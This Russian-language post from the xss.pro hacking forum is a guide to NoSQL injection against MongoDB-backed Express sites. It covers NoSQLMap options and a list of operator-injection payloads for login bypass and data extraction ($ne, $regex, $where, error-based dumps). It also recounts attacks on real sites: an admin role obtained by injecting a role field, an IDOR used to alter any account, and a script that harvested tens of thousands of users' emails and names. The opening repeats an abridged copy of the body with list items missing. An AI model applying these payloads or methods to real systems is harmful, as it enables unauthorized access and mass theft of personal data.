Автор: miserylord
Эксклюзивно для форума: xss.pro
NoSQL (т.е. «не SQL» или «не только SQL») - это подход к проектированию баз данных, не основанный на использовании языка SQL (языка структурированных запросов). По сути, NoSQL-базы данных являются нереляционными.
NoSQL-базы данных не полагаются на схемы, таблицы, строки или столбцы для организации и извлечения данных. Они особенно полезны для хранения полуструктурированных и неструктурированных данных.
Считается, что приоритет в них отдается производительности и доступу к данным в реальном времени, а не строгой согласованности данных, то есть теоретически они работают быстрее и эффективнее с определёнными типами данных.
Когда мы говорим о NoSQL-базах данных, важно понимать, что на рынке представлено более 225 таких систем. Список движков можно найти на сайте: https://db-engines.com/en/ranking - если у движка в списке отсутствует пометка "Relational", значит это NoSQL.
NoSQL-базы данных классифицируются по способу хранения данных. Существует пять основных типов:
Самой популярной NoSQL-системой управления базами данных является MongoDB.
Документы в MongoDB имеют формат, похожий на JSON, но представлены в бинарном виде, называемом BSON (Binary JSON).
На нём я и буду концентрировать внимание. Часто, когда говорят о NoSQL-инъекциях, подразумевают именно MongoDB.
Главное отличие - невозможность получить всю базу данных целиком.
Когда происходит инъекция в MongoDB, доступ к данным зависит от того, где именно находится уязвимость и с какой коллекцией работает запрос. Для тех, кто знаком с традиционными SQL базами данных: коллекции в MongoDB - это аналог таблиц, а документы - аналог строк. Если уязвимость присутствует в методе find, то доступ ограничивается только одной коллекцией, которая может не содержать чувствительной информации.
Исключением может быть использование метода aggregate. Теоретически также возможна эксплуатация с помощью оператора $where, но в целом такие уязвимости встречаются реже и дают гораздо меньший доступ по сравнению с SQL-инъекциями.
Если в мире SQL-инъекций существует активно развиваемый инструмент sqlmap, то в мире NoSQL-инъекций наибольшей популярностью пользуется NoSQLMap. Его функциональность включает:
Но как обнаружить хосты с монгой? Как ранее я отметил, инъекции могут происходить как в рамках PHP, так и в рамках JavaScript. Проблема в том, что это бекенд-технология, и по сути она не маячит на фронтенде. Порт вовсе не обязательно будет открыт, а скорее даже не будет, и такая проверка займёт кучу времени, хотя теоретически возможна - домен в адрес и проверка на открытый 27017.
Ещё один вариант - это поиск по ошибкам, дорки типа MongoError или MongoServerSelectionError, но это слабо эффективно, как минимум потому, что такая ошибка вообще не означает автоматический детект error-based уязвимости и слива базы данных.
Отмечу также, что NoSQL-инъекции могут происходить как в рамках HTTP, так и в JSON. В рамках HTTP, скорее всего (но, конечно, не обязательно), это будет PHP, и это будет строка, например: username=test&password=test в URL. Дело только в том, что с PHP чаще используют SQL-базы данных. Это всё я взял из рассуждений - просто я о том, что нужен паттерн монги для тестирования. Само собой, что угодно может быть использовано с чем угодно.
Но вот Express-фреймворк JavaScript для бекенда - он часто будет выступать в связке с MongoDB. Почему? Потому что существуют такие стеки технологий, как:
Вернёмся к NoSQLMap. Не стоит сразу исправлять принты - написан он на втором Пайтоне, будьте внимательны с этой особенностью, если решите его запустить
Как работает NoSQLMap? Так себе. Информации по нему немного, так что опишу в общих чертах процесс запуска и основные моменты.
Как запускать? python2 nosqlmap.py
Далее:
Есть ещё несколько скриптов на Python, но это именно скрипты, а не полноценные софты.
Похоже, придётся составить собственный фреймворк для ручного тестирования
Сделав ресерч на тему, я составил следующий фреймворк для ручного тестирования.
Думаю, его можно сохранить и использовать для тестирования Монги. Это компиляция идей из разных источников, которые показались мне интересными, + их объяснения и дополнения от меня.
Отмечу, что в паблике встречаются листы, например, для тестирования чего-то, но фактически они наполнены кучей мусора.
1. Анализ сайта
Мы не можем получить базу данных напрямую, но можем использовать техники для вытаскивания данных:
Напомню, что тестирование происходит на серверах Express. Возьму 50 ссылок (подходящих для тестов, не одностраничников) и попробую повзаимодействовать с ними. Ниже опишу выводы и практические примеры получения данных:
В реальности всё немного сложнее
Чистая Монга практически не встречается, а эксплуатация требует гибкости и расширения техник.
Таргет 1 - от тестирования Монги до эксплуатации API и IDOR
Например, был сервер, который хорошо раскрывал информацию об ошибках. И вроде как он поддавался командам, но бек-функции, которые применялись предварительно до обращения к СУБД-движку, не позволяли ничего с этим сделать. По сути, он валидировал информацию перед тем, как отдать её в базу данных.
Достаточно часто встречался GraphQL (который может работать поверх Монги). Несколько раз встречался Elasticsearch.
По итогу, эти тесты применимы для Монги, но чистая Монга, поддающаяся этим манипуляциям, крайне редко встречается в дикой среде.
Эксклюзивно для форума: xss.pro
Что такое NoSQL?
NoSQL (т.е. «не SQL» или «не только SQL») - это подход к проектированию баз данных, не основанный на использовании языка SQL (языка структурированных запросов). По сути, NoSQL-базы данных являются нереляционными.
NoSQL-базы данных не полагаются на схемы, таблицы, строки или столбцы для организации и извлечения данных. Они особенно полезны для хранения полуструктурированных и неструктурированных данных.
Считается, что приоритет в них отдается производительности и доступу к данным в реальном времени, а не строгой согласованности данных, то есть теоретически они работают быстрее и эффективнее с определёнными типами данных.
Когда мы говорим о NoSQL-базах данных, важно понимать, что на рынке представлено более 225 таких систем. Список движков можно найти на сайте: https://db-engines.com/en/ranking - если у движка в списке отсутствует пометка "Relational", значит это NoSQL.
NoSQL-базы данных классифицируются по способу хранения данных. Существует пять основных типов:
- Ключ-значение (Key-Value Store) - например, Dynamo, Riak
- Документно-ориентированные хранилища - похожи на Key-Value, но в качестве значений используются документы (например, MongoDB, CouchDB)
- Колонко-ориентированные хранилища - данные хранятся в виде колонок, а не строк (например, Cassandra, HBase)
- Графовые базы данных - основаны на узлах и их связях (например, Neo4j, AllegroGraph)
MongoDB
Самой популярной NoSQL-системой управления базами данных является MongoDB.
Документы в MongoDB имеют формат, похожий на JSON, но представлены в бинарном виде, называемом BSON (Binary JSON).
На нём я и буду концентрировать внимание. Часто, когда говорят о NoSQL-инъекциях, подразумевают именно MongoDB.
Различия с SQL-инъекциями
Главное отличие - невозможность получить всю базу данных целиком.
Когда происходит инъекция в MongoDB, доступ к данным зависит от того, где именно находится уязвимость и с какой коллекцией работает запрос. Для тех, кто знаком с традиционными SQL базами данных: коллекции в MongoDB - это аналог таблиц, а документы - аналог строк. Если уязвимость присутствует в методе find, то доступ ограничивается только одной коллекцией, которая может не содержать чувствительной информации.
Исключением может быть использование метода aggregate. Теоретически также возможна эксплуатация с помощью оператора $where, но в целом такие уязвимости встречаются реже и дают гораздо меньший доступ по сравнению с SQL-инъекциями.
Если в мире SQL-инъекций существует активно развиваемый инструмент sqlmap, то в мире NoSQL-инъекций наибольшей популярностью пользуется NoSQLMap. Его функциональность включает:
- Проверку на открытую MongoDB без авторизации. Для этого порт должен быть доступен из Интернета. Да, по умолчанию некоторые экземпляры MongoDB действительно запускаются без авторизации - как и админ-панель к ним.
- Интеграцию с Metasploit через msfLaunch. Присутствует функция запуска эксплойта для MongoDB версий до 2.2.4 (версия давно устаревшая).
- Проверку на открытую CouchDB.
- В проекте планировалась поддержка Redis и Cassandra, но он был заброшен.
Поиск Mongo
Но как обнаружить хосты с монгой? Как ранее я отметил, инъекции могут происходить как в рамках PHP, так и в рамках JavaScript. Проблема в том, что это бекенд-технология, и по сути она не маячит на фронтенде. Порт вовсе не обязательно будет открыт, а скорее даже не будет, и такая проверка займёт кучу времени, хотя теоретически возможна - домен в адрес и проверка на открытый 27017.
Ещё один вариант - это поиск по ошибкам, дорки типа MongoError или MongoServerSelectionError, но это слабо эффективно, как минимум потому, что такая ошибка вообще не означает автоматический детект error-based уязвимости и слива базы данных.
Отмечу также, что NoSQL-инъекции могут происходить как в рамках HTTP, так и в JSON. В рамках HTTP, скорее всего (но, конечно, не обязательно), это будет PHP, и это будет строка, например: username=test&password=test в URL. Дело только в том, что с PHP чаще используют SQL-базы данных. Это всё я взял из рассуждений - просто я о том, что нужен паттерн монги для тестирования. Само собой, что угодно может быть использовано с чем угодно.
Но вот Express-фреймворк JavaScript для бекенда - он часто будет выступать в связке с MongoDB. Почему? Потому что существуют такие стеки технологий, как:
- MERN - MongoDB, Express.js, React.js, Node.js
- MEAN - MongoDB, Express.js, Angular, Node.js
- MEVN - MongoDB, Express.js, Vue.js, Node.js
Автоматическое тестирование
Вернёмся к NoSQLMap. Не стоит сразу исправлять принты - написан он на втором Пайтоне, будьте внимательны с этой особенностью, если решите его запустить
Как работает NoSQLMap? Так себе. Информации по нему немного, так что опишу в общих чертах процесс запуска и основные моменты.
Как запускать? python2 nosqlmap.py
Далее:
- Задать Set target - насколько я понял, указывается только домен, без схемы (т.е. без http:// или https://).
- Указать порт - 80 для HTTP, 443 для HTTPS (об этом ещё поговорим).
- Указать URI Path - например, если авторизация происходит по адресу /api/v4/user/signin, его и вводим.
- По умолчанию HTTPS выключен, включаем его вручную.
- Меняем метод на POST, если необходимо.
- Передаём POST-данные через запятую.
- --attack 2 - атака на веб-приложение
- --platform MongoDB - вроде как она по умолчанию
- --victim domen.com
- --webPort 443
- --uri /api/v4/user/signin
- --httpMethod POST
- --postData email,e@e.email,password,epepassword
- --injectedParameter 1 - тут параметр, который инжектим
- --injectSize 12 - размер пейлоада
- --injectFormat 4 1 - для буквенно-цифровых: 4 для имейлов, 2 и 3 - только цифры или буквы, мне кажется, их не стоит использовать
- --savePath output.log
- NoSQLMap требует явно указывать порт! В результате он бьёт по domen.com:443 либо вообще по domen.com:null. Возможно, это какая-то особенность Python 2. Я понимаю, как резолвится порт на теоретическом уровне - ну, по сути, сервер резолвит порт. Подразумеваю, что там немного сложнее, но я не понял, зачем мне задавать порт. Это ощущается как постоянное обращение по domen.com:443 - как минимум странно. Складывается впечатление, что даже если запрос POST, сначала отправляется GET. Получив 404, он просто падает с ошибкой. Почему это проблема? Потому что он спотыкается об WAF уже на первом запросе. Там, где у меня не было ни одной проблемы при ручном тестировании, NoSQLMap ломался на первом же запросе. Думаю, это связано с обязательным указанием порта. Механизма тамперов в NoSQLMap нет, а скудная документация только усугубляет ситуацию.
- Это не sqlmap. Он не делает ничего автоматически. В sqlmap есть кнопка типа поиска нужной ссылки - её использование не имеет смысла из-за времени, но да, можно просто отдать линк на сайт и через пару временных отрезков получить дамп базы. В NoSQLMap такого нет - предварительно нужны ручные взаимодействия.
Есть ещё несколько скриптов на Python, но это именно скрипты, а не полноценные софты.
Похоже, придётся составить собственный фреймворк для ручного тестирования

Алгоритм для ручного тестирования
Сделав ресерч на тему, я составил следующий фреймворк для ручного тестирования.
Думаю, его можно сохранить и использовать для тестирования Монги. Это компиляция идей из разных источников, которые показались мне интересными, + их объяснения и дополнения от меня.
Отмечу, что в паблике встречаются листы, например, для тестирования чего-то, но фактически они наполнены кучей мусора.
1. Анализ сайта
- Глазами осмотреть сайт. Можно, конечно, ударить краулером, но сперва можно глянуть вручную: если это одностраничник или визитка - особого взаимодействия с базой данных там не будет. Также - проверка на фолс-позитив: например, сайт может отдать заголовок Express, но фактически будет работать на Shopify, что исключает Монгу и требует другого вектора.
- Можно предпринять попытку выявления подтверждения использования Монги: проверка через fofa/zoomeye/shodan, проверка nmap (в случае если не localhost). Попытка триггернуть ошибку через ' || 1==1// или ' || 1==1%00 (вообще не факт, что сработает). Либо просто положиться на удачу - какого-то гарантированного способа определения MongoDB на бэке, насколько я понимаю, не существует в природе.
- Регистрируем аккаунт. Анализируем успешный и неуспешный вход - что получаем в ответ: куки либо токен, коды ответов, заголовки - присматриваемся ко всему.
- Попытка провести инъекцию через eq. eq означает «равный». Если поведение не изменилось - сайт однозначно подвержен инъекциям: "username": {"eq": "myaccount"}
- Попытка обхода пароля при сохранении юзернейма либо имейла - через оператор ne: {"ne": 0}, {"password": {"ne": 1}}, {"ne": null}, {"ne": "bar"} - ставка на то, что сервер примет выражение как истину. Т.е. логин admin, пароль «не 0» - возвращает истину. Та же логика работает с оператором gt: {"username": {"gt": ""}, "password": {"gt": ""}} - больше, чем ничего, приводится к истине. Вообще всё, что так или иначе приводится к истине, - в этой серии. Можно отправить инъекции как в логине, так и в пароле - в попытке попасть в какой-то аккаунт, ведь истина вернётся и там, и там.
- Нулевой байт: ' || 1%00
- Также важная особенность - последний вариант всегда побеждает. Пример: {"id": "10", "id": "100"} - значение id будет "100". Исходя из этого - работает приём ","username":{"ne":""} - дублирование параметра в надежде сломать сервер.
- Экзотическая техника, которая описывается, но кажется мне немного фантастической - это добавление произвольных команд:
","username":{"ne":""},"where":"1" Исходя из этого можно вывести: ","username":{"ne":""},"where":"throw new Error(JSON.stringify(this))" - и получить весь документ. - Триггерить различные особенности, например: "user": {"func": "var_dump"} - это особенности библиотеки MongoLite.
- Использование операторов regex, например: username[regex]=^adm.*&password[ne]=1, а также оператор in: "username": {"in": ["Admin", "root", "administrator"]}} - и их комбинации.
Мы не можем получить базу данных напрямую, но можем использовать техники для вытаскивания данных:
- Вновь применяем регулярные выражения: "password": {"regex": "^mdp"} В скриптах проверка идёт по 301-редиректу. Отмечу, что поведение может отличаться для каждого сайта, поэтому скрипты необходимо адаптировать. Также: "password": {"regex": "a"} - посимвольно.
- Для установки длины: "regex": ".{1}" - где 1 - количество символов.
- В маршруте category=gifts добавляем '||true||' - получаем все документы коллекции. Ровно как, добавив '||false||' - не получим ничего. Опять же, можно играться с булевыми состояниями, например [ne]=null.
- Экзотичный пейлоад: '; throw new Error(JSON.stringify(this));' - я видел его упоминания. На бэке должен сложиться код, который ошибается с this. Думаю, имеет смысл протестировать, но глупо ожидать, что он будет срабатывать часто.
- '||this.category.startsWith("g")||' - попытка объединить с другой категорией.
- a'}); return {name: tojson(db.getName())}}) - если там всё на eval крутится.
- POST /api/data { "collection": "users", "query": {"$where": "true"} } - видел такое. Это что-то из фантастики - API, которое просто принимает что угодно и как угодно. Впрочем, это всё скорее векторы, и в каждом из них может быть зерно истины.
Практические эксперименты
Напомню, что тестирование происходит на серверах Express. Возьму 50 ссылок (подходящих для тестов, не одностраничников) и попробую повзаимодействовать с ними. Ниже опишу выводы и практические примеры получения данных:
В реальности всё немного сложнее
Таргет 1 - от тестирования Монги до эксплуатации API и IDOR
- Проведя тесты согласно фреймворку - смотрю по сторонам.
- Во время изменения данных аккаунта в ответ возвращается объект, содержащий всю информацию, в том числе role: user. Тестирую добавить role: admin к пейлоаду и отправляю запрос. Далее снова изменяю данные и в ответе объекта вижу role: admin - получаю роль админа. Особенности сайта не дают каких-то плюсов админу, это что-то типа каталога, админка не обнаруживается.
- Пробую дальше - оказывается, можно подставить любое id в PUT и изменить данные аккаунта любому пользователю (кажется, моя роль админа не влияет на это). Также эти изменения не затрагивают пароль.
- Маршрут GET /api/v1/users/2 возвращает пользователя (опять же, не уверен, что то, что я админ, влияет, впрочем, возможно - почему-то я подумал об этом только сейчас).
- Скрипт получает несколько десятков тысяч имеилов, юзернеймов, ФИО - без паролей.
- Запрос для получения данных проходит через сторонний API-сервер по маршруту типа /rest-services/XXXXX/query/XZXZ?where=(id=1481)&fields=id,title,.... Пробую получить все записи коллекций.
- Вместо точек идёт порядка двадцати полей - меняю на fields=* и получаю тот же ответ. Круто, с этим разобрались.
- Попытка подставить (id=*) - ошибка no viable alternative at input ')', что-то с кавычками.
- Попытка взять в кавычки (id='*') - cannot compare to id(Integer) (not a number)... Вероятно, бек на TypeScript.
- А что если ?where=(id>=0)&fields=* - внезапно вижу, на чём работает сервер (не Express, напомню, REST-сервер вынесен отдельно), и ошибка: The valid characters are defined in RFC 7230 and RFC 3986.
- %28id%3E%3D0%29 - кодируем (id>=0) и получаю все записи. Информация не особо полезна - это и так публичная коллекция, но обход успешно срабатывает.
Например, был сервер, который хорошо раскрывал информацию об ошибках. И вроде как он поддавался командам, но бек-функции, которые применялись предварительно до обращения к СУБД-движку, не позволяли ничего с этим сделать. По сути, он валидировал информацию перед тем, как отдать её в базу данных.
Достаточно часто встречался GraphQL (который может работать поверх Монги). Несколько раз встречался Elasticsearch.
По итогу, эти тесты применимы для Монги, но чистая Монга, поддающаяся этим манипуляциям, крайне редко встречается в дикой среде.
